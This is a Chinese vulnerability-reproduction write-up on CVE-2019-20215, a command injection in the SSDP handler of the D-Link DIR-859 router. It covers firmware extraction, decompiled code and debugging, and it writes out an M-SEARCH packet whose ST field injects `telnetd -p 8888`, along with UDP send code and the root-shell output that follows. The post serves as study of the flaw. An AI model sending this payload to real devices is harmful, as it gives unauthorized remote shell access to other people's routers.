D-Link 路由器漏洞复现(CVE-2019-20215)

IoT 2年前 (2021) admin
1,561 0 0

前言

本来是打算来挖它的,去搜索它以往爆出的漏洞,就先复现玩玩了,这次用了三种方法来验证,分别为用户级模拟,系统级模拟,真机

CVE-2019-20215

漏洞描述

D-Link 路由器漏洞复现(CVE-2019-20215)


根据漏洞描述可以获得到的信息:

  • 漏洞点为/htdocs/cgibin中的ssdpcgi()函数
  • HTTP_ST的处理逻辑中存在命令注入

固件获取

打开外壳,全封死了,准备放弃来着,但是在背面发现一个类似SOP8的东西,尝试对它进行读取

D-Link 路由器漏洞复现(CVE-2019-20215)

用烧录夹一夹上就识别到固件,对它进行提取:

➜  Desktop sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2048 -r tp.bin 
flashrom  on Linux 5.4.83-v7l+ (armv7l)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Macronix flash chip "W25Q128.V" (16384 kB, SPI) on linux_spi.
Reading flash... done.

至此就获得到了固件,虽然是1.02版本的,但无伤大雅:

D-Link 路由器漏洞复现(CVE-2019-20215)


在官网上也可以下载(http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-859)到含有漏洞的.bin文件,不过版本会高一些

逆向分析

通过对固件的解包,拿到cgibin之后,通过字符串很容易定位到漏洞函数中,可以看到HTTP_ST只是进行strncmp,并没有进行过滤就直接传递给lxmldbc_system(),然后进行拼接就直接传递给system()函数,很明显存在命令注入

int __fastcall ssdpcgi_main(int a1)
{
  result = -1;
  if ( a1 == 2 )
  {
    v2 = getenv("HTTP_ST");
    v3 = getenv("REMOTE_ADDR");
    v5 = getenv("REMOTE_PORT");
    v4 = getenv("SERVER_ID");
    if ( v2 && v3 && v5 && v4 )
    {
      if ( !strncmp(v2, "ssdp:all", 8u) )
      {
        v6 = "%s ssdpall %s:%s %s &";
LABEL_17:
        lxmldbc_system(v6);
        return 0;
      }
      if ( !strncmp(v2, "upnp:rootdevice", 0xFu) )
      {
        v6 = "%s rootdevice %s:%s %s &";
        goto LABEL_17;
      }
      if ( !strncmp(v2, "uuid:", 5u) )
      {
        v6 = "%s uuid %s:%s %s %s &";
        goto LABEL_17;
      }
      v7 = strncmp(v2, "urn:", 4u) != 0;
      result = 0;
      if ( v7 )
        return result;
      if ( strstr(v2, ":device:") )
      {
        v6 = "%s devices %s:%s %s %s &";
        goto LABEL_17;
      }
      if ( strstr(v2, ":service:") )
      {
        v6 = "%s services %s:%s %s %s &";
        goto LABEL_17;
      }
      result = 0;
    }
    else
    {
      result = -1;
    }
  }
  return result;
}

int lxmldbc_system(char *format, ...)
{
  char v2[1028]; // [sp+1Ch] [-404h] BYREF
  va_list va; // [sp+42Ch] [+Ch] BYREF

  va_start(va, format);
  vsnprintf(v2, 0x400u, format, va);
  return system(v2);
}

demo测试

当不确定是否存在漏洞的时候,建议还是写个demo,减少误判的可能,demo如下:

#include <stdio.h>
#include <stdarg.h>

void sys(char *format, ...)
{
  char value [1028];
  va_list va;
  va_start(va, format);
  vsnprintf(value,0x400,format,va);
  system(value);
}
int main(void){
  char *command = "aaa;ls;";
  sys("%s services",command);
  return 0;
}

vsnprintf和snprintf的区别就是加了个可变的参数,具体可以看看下面的链接:

  • 可变参数函数详解(https://www.cnblogs.com/clover-toeic/p/3736748.html)

运行之后,成功执行命令:

➜ ./demo1             
sh: 1: aaa: not found
1.c  a.out  demo1  demo1.c #ls
sh: 1: services: not found

用户级模拟

通过qemu暴露端口进行调试:

sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST="urn:device:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH  -g 1234 ./htdocs/cgibin

-0: 要请求的cgi

E: 传入自定义的环境变量

这个端口不仅IDA可以连,GDB也能连,下断点到关键的位置,修改一下寄存器,因为是用户级模拟的原因,需要绕过一些判断才能看到拼接起来的命令

b *0x40f3b8
c
set $a0=0x2

D-Link 路由器漏洞复现(CVE-2019-20215)


往下走就看到了完整的命令($s0寄存器中),也可以看到urn:device;ls,命令是成功注入进去了:

D-Link 路由器漏洞复现(CVE-2019-20215)


之后c一下就能看到它成功的执行了ls命令,至此确定它是存在命令注入的:

D-Link 路由器漏洞复现(CVE-2019-20215)


漏洞POC编写

找到了漏洞点之后,就要想办法去触发这个漏洞,通常情况下是通过让某个端口发包,让它自己去触发业务的逻辑,那首先就要构造恶意的数据包,所以去找一下处理这段数据的代码,那还是通过字符串来定位,因为在开发的时候,大部分都是情况下多个程序都不是同一个人开发出来的,那怎么告诉别人这段代码到底在做什么或者说两个不同的程序之间是如何产生联系的呢?答:字符串

通过grep匹配文件,可以看到下面匹配到了两个二进制文件,一个是刚刚分析过的文件,剩下的文件没分析过,我们用IDA打开看看

➜  squashfs-root grep -r "upnp:rootdevice"
匹配到二进制文件 htdocs/cgibin
匹配到二进制文件 usr/sbin/hostapd
etc/scripts/upnp/M-SEARCH.php:          SSDP_ms_send_resp($TARGET_HOST$phyinf$max_age$date$location$server"upnp:rootdevice"$uuid."::upnp:rootdevice");
etc/scripts/upnp/M-SEARCH.php:      echo "# SSDP_ms_send_resp(".$TARGET_HOST.", ".$phyinf.", ".$max_age.", ".$date.", ".$location.", ".$server.", "upnp:rootdevice", ".$uuid.""::upnp:rootdevice")n";
etc/scripts/upnp/M-SEARCH.php:          SSDP_ms_send_resp($TARGET_HOST$phyinf$max_age$date$location$server"upnp:rootdevice",    $uuid."::upnp:rootdevice");
etc/scripts/upnp/NOTIFYAB.php:      $nt = "upnp:rootdevice";
etc/scripts/upnp/NOTIFYAB.php:      $usn$uuid."::upnp:rootdevice";

拖进IDA之后,交叉引用很容易定位到关键点

D-Link 路由器漏洞复现(CVE-2019-20215)


来到关键处就能看到它先接收数据,然后对数据的一些字段进行处理,下面的代码删除了部分代码,具体看hostapd,可以获取到的信息如下:

  • 一共有M-SEARCHhoststurn:xxx:1manmxssdp:discover这些字段
 v3 = *(_DWORD *)(a3 + 52);
  addr_len = 16;
  v5 = recvfrom(v3, v54, 0x63Fu, 0, &addr, &addr_len);
  v6 = v5 <= 0;
  v7 = (char *)&addr_len + v5;
  if ( !v6 )
  {
    v7[20] = 0;
    v8 = strncasecmp(v54, "M-SEARCH", 8u);
    v9 = *(_DWORD *)&addr.sa_data[2];
    v55 = *(unsigned __int16 *)addr.sa_data;
    if ( !v8 )
    {
      v10 = v54;
      if ( (*(_WORD *)(_ctype_b + 2 * v54[8]) & 0x80) == 0 )
      {
...
LABEL_13:
          v23 = v13 < v22;
          do
          {
            --v22;
            if ( !v23 )
              break;
            v23 = v13 < v22;
          }
          while ( (*(_WORD *)(_ctype_b + 2 * *v22) & 0x80) == 0 );
          if ( sub_449284(v13, "host") )
          {
            v18 = 1;
            goto LABEL_68;
          }
          v24 = sub_449284(v13, "st");
          v25 = v13;
          if ( v24 )
          {
            while ( 1 )
            {
              v26 = *v25;
              if ( (*(_WORD *)(_ctype_b + 2 * v26) & 0x800) == 0 && v26 != '_' )
              {
                v27 = v25;
                if ( v26 != 45 )
                  break;
              }
              ++v25;
            }
            while ( 1 )
            {
              v28 = *v27;
              if ( v28 != ' ' && v28 != 't' )
                break;
              ++v27;
            }
            v13 = v27;
            if ( *v27 != ':' )
              goto LABEL_69;
            for ( i = v27 + 1; ; ++i )
            {
              v30 = *i;
              if ( v30 != 32 && v30 != 9 )
                break;
            }
            v13 = (char *)i;
            if ( strncmp(i, "ssdp:all", 8u) && strncmp(v13, "upnp:rootdevice", 0xFu) )
            {
              if ( strncmp(v13, "uuid:", 5u) )
              {
                if ( strncmp(v13, "urn:schemas-upnp-org:device:InternetGatewayDevice:1", 0x33u)
                  && strncmp(v13, "urn:schemas-wifialliance-org:service:WFAWLANConfig:1", 0x34u) )
                {
                  v32 = strncmp(v13, "urn:schemas-wifialliance-org:device:WFADevice:1", 0x2Fu);
                  goto LABEL_37;
                }
              }
              else
              {
                v13 += 5;
                v31 = strlen((const char *)(a3 + 136));
                v32 = strncmp(v13, (const char *)(a3 + 136), v31);
LABEL_37:
                if ( v32 )
                {
                  v27 = v13;
                  goto LABEL_69;
                }
              }
            }
            v17 = 1;
            goto LABEL_68;
          }
          v33 = sub_449284(v13, "man");
          v34 = v13;
          if ( !v33 )
          {
            v6 = !sub_449284(v13, "mx");
            v27 = v13;
            if ( v6 )
              goto LABEL_69;
            for ( j = v13; ; ++j )
            {
              v40 = *j;
              if ( (*(_WORD *)(_ctype_b + 2 * v40) & 0x800) == 0 && v40 != '_' )
              {
                v27 = j;
                if ( v40 != '-' )
                  break;
              }
            }
...
LABEL_69:
          while ( 1 )
          {
            v44 = *v27;
            if ( !*v27 )
              break;
            v45 = ++v27;
            if ( v44 == 'n' )
            {
              v46 = v45 - v13;
              goto LABEL_73;
            }
          }
          v46 = v27 - v13;
LABEL_73:
          v13 += v46;
        }
        for ( l = v27 + 1; ; ++l )
        {
          v38 = *l;
          if ( v38 != 32 && v38 != 9 )
            break;
        }
        v13 = (char *)l;
        v16 = 1;
        if ( !strncmp(l, ""ssdp:discover"", 0xFu) )
        {
          v27 = v13;
          goto LABEL_69;
        }
      }
    }
  }
}

交叉引用回去看看,可以看到一套socket建立的过程,里面也有此服务的ip和端口号,到此已经知道它是通过socket来触发这个漏洞的,接下来就是通过动态调试来看看这些字段具体的参数到底是什么

int __fastcall upnp_wps_device_start(_DWORD *a1, const char *a2, int a3)
{
  if ( !a1 || !a2 )
    return -1;
  v5 = a1[5];
  v26 = 4;
  if ( v5 )
    sub_447CF4(a1, (int)a2, a3);
  a1[6] = strdup(a2);
  a1[12] = -1;
  a1[13] = -1;
  a1[5] = 1;
  a1[15] = 0;
  memset(v32, 0, 0x54u);
  v6 = socket(2, 1, 0);
  if ( v6 == -1 )
    goto LABEL_39;
  v32[17] = a2;
  HIWORD(v32[1]) = 2;
  LOWORD(v32[1]) = 0;
  v32[2] = inet_addr("239.0.0.0");
  HIWORD(v32[9]) = 2;
  LOWORD(v32[9]) = 0;
  v32[10] = inet_addr("255.0.0.0");
  HIWORD(v32[13]) = 1;
  v9 = 0;
  if ( ioctl(v6, 0x890Bu, v32) < 0 )
  {
    v9 = -1;
    if ( *_errno_location() == 17 )
      v9 = 0;
  }
  close(v6);
  if ( v9 )
    goto LABEL_39;
  v10 = 1;
  for ( i = a2; v10 != 11 && sub_443E74(i, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7); i = a2 )
  {
    ++v10;
    sleep(1u);
  }
  if ( !a1[10] )
  {
    strcpy(v30, a2);
    strcat(v30, ":1");
    if ( sub_443E74(v30, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7) )
    {
LABEL_39:
      sub_447CF4(a1, v8, v7);
      return -1;
    }
  }
  v14 = socket(2, 2, 0);
  a1[27] = v14;
  if ( v14 < 0 )
    goto LABEL_26;
  v15 = 45555;
  if ( fcntl(v14, 4, 128) )
    goto LABEL_26;
  while ( 1 )
  {
    v16 = a1[11];
    v17 = a1[27];
    *(_WORD *)v31.sa_data = v15;
    *(_DWORD *)&v31.sa_data[2] = v16;
    v31.sa_family = 2;
    if ( !bind(v17, &v31, 0x10u) )
      break;
    ++v15;
    if ( *_errno_location() != 125 || v15 == 0xFFFF )
      goto LABEL_26;
  }
  v18 = listen(a1[27], 10);     
  v13 = 4;
  if ( v18 || (v19 = fcntl(a1[27], 4, 128), v12 = 4456448, v19) || eloop_register_sock(a1[27], 0, sub_444960, 0, a1) )
  {
LABEL_26:
    sub_44477C(a1, v13, v12);
    goto LABEL_39;
  }
  a1[26] = v15;
  v27[0] = 4;
  a1[28] = 1;
  v28 = 1;
  v20 = socket(2, 1, 0);
  v21 = v20;
  a1[13] = v20;
  if ( v20 < 0 )
    goto LABEL_35;
  if ( fcntl(v20, 4, 128) )
    goto LABEL_35;
  if ( setsockopt(v21, 0xFFFF, 4, &v28, 4u) )
    goto LABEL_35;
  v31.sa_family = 2;
  *(_WORD *)v31.sa_data = 1900;     //端口号
  *(_DWORD *)&v31.sa_data[6] = 0;
  *(_DWORD *)&v31.sa_data[10] = 0;
  *(_DWORD *)&v31.sa_data[2] = 0;
  if ( bind(v21, &v31, 0x10u)       //绑定端口
    || (v29[0] = 0, v29[1] = 0, v29[0] = inet_addr("239.255.255.250"), setsockopt(v21, 0, 35, v29, 8u))
    || setsockopt(v21, 0, 33, v27, 1u)
    || eloop_register_sock(v21, 0, sub_4493DC, 0, a1) )     //设置ip
  {
LABEL_35:
    sub_4447F8(a1);
    goto LABEL_39;
  }
  a1[14] = 1;
  v22 = socket(2, 1, 0);
  a1[12] = v22;
  if ( v22 < 0 )
    goto LABEL_39;
  if ( setsockopt(v22, 0, 32, a1 + 11, 4u) )
    goto LABEL_39;
  if ( setsockopt(v22, 0, 33, &v26, 1u) )
    goto LABEL_39;
  v23 = sub_442950(a1);
  v24 = 0;
  if ( v23 )
    goto LABEL_39;
  return v24;
}

真机调试

这里用的是另一个漏洞来获得调试,用CVE-2019–17621这个漏洞的exp打进去搭建一个调试环境,这里get到一个点,就是如果串口没有拿到或者串口没有提供shell的这么一个调试环境,可以看看这个固件有什么其他没有修复的漏洞,可以用它来搭建一个调试的环境,直接运行exp就获得了一个shell

➜  python exp.py 
IP Router: 192.168.0.1

[*] Connection 192.168.0.1:49152
[*] Sending Payload
[*] Running Telnetd Service
[*] Opening Telnet Connection

Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.


接下来就是通过wget传入gdbserver来暴露调试接口,这里用的海特的gdbserver-7.12-mips-mips32rel2-v1-sysv

# cd tmp
# ls
gdbserver 

通过ps可以看到hostapd的PID是多少:

# ps
  PID USER       VSZ STAT COMMAND
...
 2470 0          788 S    /bin/sh /etc/scripts/hostapd_loop.sh 
 2529 0          800 S    /bin/sh 
 2793 0         2792 S    stunnel /var/stunnel.conf 
 2824 0         1076 S    udhcpd /var/servd/LAN-1-udhcpd.conf 
 2884 0         1512 S    hostapd /var/topology.conf 
 3004 0         1076 S    udhcpd /var/servd/LAN-2-udhcpd.conf 
 3289 0         1304 S    mDNSResponderPosix -b -i br0 -f /var/rendezvous.conf 
 3380 0         1000 S    dnsmasq -C /var/servd/DNS.conf 
...

接下来就是正常暴露端口用gdb进行连接

./gdbserver :1234 --attach 2884
#另开一个终端
➜ gdb-multiarch -q hostapd
set arch mips
set endian big
target remote 192.168.0.1:1234

连接上之后,在0x449454处下断点,按下c可以看到完整的报文头,可以看到ST字段中存在urn:xxx:1,它就是注入的字段

D-Link 路由器漏洞复现(CVE-2019-20215)


按照上面的报文格式,构造报文,并在ST字段中进行注入,具体代码如下:

ip = "239.255.255.250"
port = 1900
backdoor = '`telnetd -p 8888 `'
header = "M-SEARCH * HTTP/1.1n"
header += "HOST: "+str(ip)+str(port)+"n"
header += 'MAN: "ssdp:discover"rn'
header += "MX: 1rn"
header += "ST: urn:dial-multiscreen-org:service:dial;"+str(backdoor)+":1rn"
header += "USER-AGENT: Google Chrome/87.0.4280.88 Windowsrnrn"
print(header)

已经确定是通过发包触发之后,接下来就是socket那一套了,创建套接字然后直接方法,这里用的是UDP来发送payload:

  • socket — 底层网络接口((https://docs.python.org/zh-cn/3.9/library/socket.html#module-socket)
udp_socket=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
udp_socket.sendto(pay,(ip, port))

完整exp可以自己尝试写写,这里就不放了,运行exp之后就拿到了shell

➜  python exp.py
M-SEARCH * HTTP/1.1
HOST: 239.255.255.2501900
MAN: "ssdp:discover"
MX: 1
ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1
USER-AGENT: Google Chrome/87.0.4280.88 Windows


Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.


扫一下端口,发现多开了个8888的端口:

> nmap 192.168.0.1
Nmap scan report for dlinkrouter (192.168.0.1)
Host is up (0.0058s latency).
Not shown: 993 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
8888/tcp  open  sun-answerbook
9999/tcp  open  abyss   #用CVE-2019–17621打开的端口
49152/tcp open  unknown

系统级模拟

fat对于dlink似乎支持很好,真就一键模拟

sudo ./fat DIR859Ax_FW105b03.bin

等多一会就模拟成功了(记得等久一些):

D-Link 路由器漏洞复现(CVE-2019-20215)


其实模拟也就是在熟悉一下模拟的方法,还是多搞搞真机会比较好,毕竟模拟的和真的它不一样

iot@attifyos > python exp.py 
M-SEARCH * HTTP/1.1
HOST: 239.255.255.2501900
MAN: "ssdp:discover"
MX: 1
ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1
USER-AGENT: Google Chrome/87.0.4280.88 Windows


Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
firmadyne   var         bin         usr         home        lost+found
sbin        tmp         etc         proc        sys
www         lib         mnt         htdocs      dev

总结

话讲回来,构造数据包其实就是一个寻找漏洞文件与其他文件的关联的这么一个过程,先通过字符串来定位到关键的地方,再逆向分析它与其他文件的关联,这或许就是xuanxuan老师所讲到的:“在IOT设备中的逆向和CTF中的逆向的区别”,最近发现cgi的文件似乎很常出问题,以后可以多关注一下它

参考文章

  • D-Link DIR-859 未授权命令执行漏洞分析(https://www.anquanke.com/post/id/203538#h2-7)

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析+AI 长期招新

欢迎联系[email protected]



D-Link 路由器漏洞复现(CVE-2019-20215)

原文始发于微信公众号(ChaMd5安全团队):D-Link 路由器漏洞复现(CVE-2019-20215)

版权声明:admin 发表于 2021年12月17日 上午12:00。
转载请注明:D-Link 路由器漏洞复现(CVE-2019-20215) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...